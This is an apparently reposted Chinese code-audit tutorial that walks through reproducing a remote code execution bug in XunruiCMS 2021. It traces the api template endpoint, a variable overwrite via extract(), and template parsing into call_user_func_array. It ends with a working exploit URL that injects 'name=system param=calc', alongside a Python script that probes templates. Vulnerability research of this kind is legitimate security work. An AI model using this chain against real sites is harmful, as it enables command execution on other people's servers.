前置知识
目录结构
-
xunruicms
-
api -接口调用入口,编辑器等。
-
cache -缓存文件目录,可自定义位置,例如使用固态硬盘
-
config -用户的一些自定义配置、自定义函数、自定义钩子等。
-
dayrui -系统核心程序目录,可移动目录
-
mobile -手机端入口
-
static -资源目录
-
template -模板文件目录,可自定义位置
-
uploadfile -附件上传目录
URL相关
系统保留URL参数变量
c:控制器变量
s:项目变量
m:方法变量
app:应用目录变量
appid:api插件请求参数
uri:路由识别变量
获取URI地址
前台和后台的URI路由地址:
APP目录/控制器文件/方法函数
会员中心的URI路由地址:
member/APP目录/控制器方法/方法函数
通过动态地址获取URL:
index.php?s=APP目录&c=控制器文件&m=方法函数
获取当前控制器的URI地址:
PhpcmfService::L('Router')->uri();
相关例子:
1、网站首页的URI
{if PhpcmfService::L('Router')->uri() == "home/index"}
当前控制器是首页的
{/if}
2、news模块首页的URI
{if PhpcmfService::L('Router')->uri() == "news/home/index"}
当前控制器是news模块首页的
{/if}
3、news模块栏目的uri
{if PhpcmfService::L('Router')->uri() == "news/category/index"}
当前控制器是news模块栏目页的
{/if}
4、news模块内容的uri
{if PhpcmfService::L('Router')->uri() == "news/show/index"}
当前控制器是news模块内容目页的
{/if}
5、news模块搜索的uri
{if PhpcmfService::L('Router')->uri() == "news/search/index"}
当前控制器是news模快搜索页的
{/if}
6、会员中心首页的uri
{if PhpcmfService::L('Router')->uri() == "member/home/index"}
当前控制器是会员中心首页
{/if}
7、会员中心的news模块列表的uri
{if PhpcmfService::L('Router')->uri() == "member/news/home/index"}
当前控制器是会员中心news模块列表
{/if}
如何通过url找控制器文件
CMS动态地址如下:
index.php?s=aa&c=bb&m=cc
-
s参数表示app目录
-
c参数表示控制器文件名
-
m参数表示控制器文件名中的方法函数名
APP插件或模块部分
1、前段控制器URL结构
index.php?s=aaa&c=bbb&m=ccc
对应的控制器文件是:/dayrui/App/Aaa/Controllers/Bbb.php
2、前段会员控制器URL结构
index.php?s=member&app=aaa&c=bbb&m=ccc
对应的控制器文件是:/dayrui/App/Aaa/Controllers/Member/Bbb.php
3、后台控制器URL结构
admin.php?s=aaa&c=bbb&m=ccc
对应的控制器文件是:/dayrui/App/Aaa/Controllers/Admin/Bbb.php
核心CMS程序部门
1、前段控制器URL结构
index.php?c=aaa&m=
对应的控制器文件是:/dayrui/Fcms/Control/Aaa.php
2、后台控制器URL结构
admin.php?c=aaa&m=
对应控制器文件是:/dayrui/Fcms/Control/Admin/Aaa.php
3、api控制器url结构
index.php?s=api&c=aaa&m=
对应的控制器文件是:/dayrui/Fcms/Control/Api/Aaa.php
开始复现
首先,我们通过seay工具,和看网上文章,都可以找到该漏洞出现的地方
seay审计:
当确定有该函数之后(因为是复现,所以我们只需要关注,相关审计工具扫不扫得到该函数,在考虑扫到了,我们的思维能不能找到,这是逆向思维,现在是确定有,在顺着来),我们开始复现。
因为是学习审计,所以我们正反向都来一遍。
正向-根据入口来
第一轮:
根据审计前阅读官方的文档介绍,我们知道了url的路径参数。因此我们需要构造出能访问漏洞出现的入口地址,也就是Api.php->template
方法
url
index.php?s=api&c=api&m=template
public function template() {
$app = dr_safe_filename(PhpcmfService::L('input')->get('app'));
$file = dr_safe_filename(PhpcmfService::L('input')->get('name'));
$module = dr_safe_filename(PhpcmfService::L('input')->get('module'));
$data = [
'app' => $app,
'file' => $file,
'module' => $module,
];
if (!$file) {
$html = 'name不能为空';
} else {
if ($module) {
$this->_module_init($module);
PhpcmfService::V()->module($module);
} elseif ($app) {
PhpcmfService::V()->module($app);
}
PhpcmfService::V()->assign(PhpcmfService::L('input')->get('', true));
ob_start();
PhpcmfService::V()->display($file);
$html = ob_get_contents();
ob_clean();
$data['call_value'] = PhpcmfService::V()->call_value;
}
$this->_json(1, $html, $data);
}
从截图中,我们首先需要了解到:
-
PhpcmfService::L('input')->get('app')
:get请求,接收app参数。 -
PhpcmfService::L('input')->get('name')
:get请求,接收name参数。 -
PhpcmfService::L('input')->get('name')
:get请求,接收module参数 -
dr_safe_filename()
:是用来过滤接受的参数值,而以下这些过,说明不能有特殊字符,不能进行目录穿越\、/
等。
function dr_safe_filename($string) {
return str_replace(
['..', "/", '\', ' ', '<', '>', "{", '}', ';', ':', '[', ']', ''', '"', '*', '?'],
'',
(string)$string
);
}
根据上述代码template()
和截图,可以看到该方法中的所有参数1.app,2.name->file,3.module
全部可控。因此,我们只需要关注方法的实现中,有没有我们可以利用到的危险函数。
第二轮:查看入口函数内部方法
根据第一轮的分析,可知template()
方法中的所有参数借可控,因此,需要分析该方法中所调用的其他方法:
PhpcmfService::V()->module()方法
为防止篇幅过多,这里就不细分析module()方法了,简单来说一下把,就是View()
对象实例调用了module()
里面没有危险函数,也就是没有可利用的点。
PhpcmfService::V()->assign(PhpcmfService::L('input')->get('', true));
PhpcmfService::V()
返回的是View()
对象,因此assign()
为View()
对象中的方法,而PhpcmfService::L('input')->get('', true)
意思是将get请求中的所有参数都接受到,查看该方法:
该方法是将get请求中的所有参数和值,放入_options[]
数组中。
PhpcmfService::V()->display($file)
display()
方法中,我们可以看到有一个变量覆盖的漏洞(因该方法代码较多,因此,只截图关键函数):
我们可以看到,该方法接收两个参数:$phpcmf_name,$phpcmf_dir = ''
-
$phpcmf_name=$file ---->这意味着可控。
-
$phpcmf_dir --------->为null
那什么是extract()
方法呢?
extract()
简单介绍一下:将数组的key修改为变量,数组的value修改为变量的值:但是extract()
方法他设置了EXTR_OVERWRITE
代表着允许覆盖
代码示例
<?php
$a = 'a';
array('a'=>'b','c'=>'c');
extract(array('a'=>'b','c'=>'c'),EXTR_OVERWRITE);
echo "$a = $a n$c = $c";
=================================================
输出:
$a = b
$c = c
而extract($this->_options, EXTR_OVERWRITE)
中的$this->_options
在上述已经分析过了,内部存的是GET请求的所有参数。
因此,$phpcmf_dir
也可以控制,url参数为:
index.php?s=api&c=api&m=template&phpcmf_dir=xxx
这样,我们就能将$phpcmf_dir覆盖成我们想要的参数了。
但是为了跳到这个地方来,$file
不能为空(在template()
)方法中。
因此因构造url为:
index.php?s=api&c=api&m=template&phpcmf_dir=xxx&name=xxx
继续往下走
来到get_file_name()
方法
get_file_name()
该方法代码较多,只贴出一部分
像这种代码,我们只需要对几个if进行判断分析,同时重点关注他的返回值。
我们进行调试,分别让dir为null,为admin和member,来看看会返回什么。这么为了节约时间,就不写调试过程了。这里直接说结果。
这里会返回
D:DevToolsWithToolsPhpStudyphpstudy_proWWWxunruicmsdayruiFcmsView
D:DevToolsWithToolsPhpStudyphpstudy_proWWWxunruicmstemplatepcdefaulthome
这两个目录下的html文件模板
而该模板会在下方该处代码中被载入:
查看load_view_file
方法
load_view_file
该方法乍一看,都是平平淡淡的方法,但是在474处,有一个handle_view_file()
方法
handle_view_file()
根据该方法的解释,是用来解析模板文件的,也就是我们返回的html模板,会被该方法给解析成我们平时所看到的html,那么看一下该方法中,有没有所涉及到的危险方法。
该方法中,有一个数组,数组用来替换变量,进行html输出,如果进行替换,则有可能会触发list_tag()
方法
而list_tag()
方法中,根据最开始的seay审计,确定了有危险函数。
那么我们怎么确定调用哪些模板会触发该方法呢?
这里我使用的是脚本来测的。
-
先修改该方法
如果触发了该方法,就输出xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx。并且为了排除干扰,直接停止执行。
-
编写python脚本
import os
import requests
directory = '';
array = ['admin','member','other']
directory_mapping = {
'admin':'D:\DevTools\WithTools\PhpStudy\phpstudy_pro\WWW\xunruicms\dayrui\Fcms\View',
'member':'D:\DevTools\WithTools\PhpStudy\phpstudy_pro\WWW\xunruicms\template\pc\default\home',
'other':'D:\DevTools\WithTools\PhpStudy\phpstudy_pro\WWW\xunruicms\template\pc\default\home',
}
for item in array:
directory=directory_mapping.get(item)
if directory is not None:
for root, dirs, files in os.walk(directory):
for file in files:
filename, file_extension = os.path.splitext(file)
if file_extension == '.html':
url = f'http://127.0.0.1:8010/index.php?s=api&c=api&m=template&phpcmf_dir={item}&name={file}'
response = requests.get(url)
if "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" in response.text:
print(url)
少了很多,我们可以直接查看该模板的内容了。
将断点下在api.php->template()
中的该处,因为该处已经将模板加载完毕,我们需要的是查看里面的内容。
通过不停的调试
第三轮
从以上分析,我们找到了可以出发list_tag()
方法的模版,而找到模板后,并不代表着我们就可以利用call_user_func_array
这个危险函数。我们需要阅读一下,这个方法里面的代码逻辑,看看满足什么条件,可以进入到这个函数中。
因为该方法代码量较大,所以,这里就不全贴出来了。
首先,list_tag()
该方法接收一个参数$_params
定义了一个数组$system
对参数进行过滤
上述代码过滤的意思是:匹配where后面的参数。同时将where整个语句都给替换为空。执行完毕后,得到数组:
$param['where']=xxx。
$a = "xxxx where='abx'";
if (preg_match('/where='(.+)'/sU', $a, $match)) {
echo $match[1];
$param['where'] = $match[1];
}else{
echo 1;
}
输出:
abx
校验$_params
参数:
对参数进行拆分,组成数组:其中$this->action
可控,得到一个新的数组$params
$str = "apple,banana,orange";
$arr = explode(",", $str);
print_r($arr);
输出:
Array
(
[0] => apple
[1] => banana
[2] => orange
)
对$params
数组进行遍历,此时我们并不需要通读该方法,我们先往下看。
然后来到了我们想进入的危险方法中:
但是想要进入这个方法,就需要$system['action']
有值且为function
,而$system['action']
在刚进入该方法时,初始化时没有值的,那么我们选中$system
,看看离$system['action']
最近的$system
在哪,依次往上寻找,直到找到可以复制的地方,如果找不到说明漏洞不存在。很幸运的是,我们找到了,就在对$params
数组进行遍历中。
之前我们没有仔细的阅读遍历方法,现在我们仔细阅读了。
首先$params
数组,通过遍历,找=
号,截取0到=
出现的下标,赋值给$var
,=
加1的位置到结束,赋值给$val
。而如果$var
在最开始初始化中,那么就将$val的值赋值给他。简单来说具体意思就是:
$system = ['action'=>'','apple'=>'','banana'=>'','','orange'=>''];
$str = "apple=123 banana=456 orange=789";
$arrs = explode(" ", $str);
foreach ($arrs as $arr){
$var = substr($arr, 0, strpos($arr, '='));
$val = substr($arr, strpos($arr, '=') + 1);
if (isset($system[$var])) { // 系统参数,只能出现一次,不能添加修饰符
$system[$var] = $val;
}else{
echo "$arr 赋值失败!n";
}
}
print_r($system);
==========================
输出:
Array
(
[action] =>
[apple] => 123
[banana] => 456
[0] =>
[orange] => 789
)
相信通过这个例子,大家都明白了,因此我们需要进入到switch
方法中,那么$params
数组中,就必须要有一个值为action=function
,因此,在传入$_params
数组中,就必须要有这样的参数:xx action=function
。
而为了给$p
赋值,那么就必须要进入到这个foreach
方法中,而该方法中,也是一样,遍历$param
数组,而为了让系统知道$p
是多少,那么我们只需要让$p
只有一个值,并且该值为我们要执行的参数。而根据foreach
逻辑,那么$param数组需要有一个键值为param=>xxxx
这样才能给$p
赋值。
因此,我们需要将param=>xxx
修改为:param=>calc
。
这样的话,通过Intval()
对变量的转换,就是空,为空的话,会默认为0,也就是$p[0]=calc
但是,这样还不行,因为我们还需要传入一个执行的命令,也就是$param['name']
。
因此我们需要让$param['name']=system
。
所以,接下来,我们需要找到$param()
数组,是由哪里赋值的,经过查找,还是在foreach
中:
也就是说,$params里面得有一个 param=calc
和 name=system
。
参数都找到了,那么问题来了,我们该如何传入进来呢?
通过我们对脚本跑的url,一个个进行调试,这里我们就以我们脚本跑的第一个模版为例:api_members.html
,通过调试,看看会上传哪些参数:
我们可以直接将让urlrule参数等于我们要传的,这样就能够让我们需要的参数全都传过去了。
$this->list_tag("action=member where=$where order=id page=1 pagesize=$pagesize urlrule=$urlrule")
因此根据上述分析,url为:
http://localhost:8010/index.php?s=api&c=api&m=template&name=api_members.html&phpcmf_dir=admin&urlrule=%20action=function%20name=system%20param=calc
原文始发于微信公众号(实战安全研究):代码审计-迅睿CMS2021
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论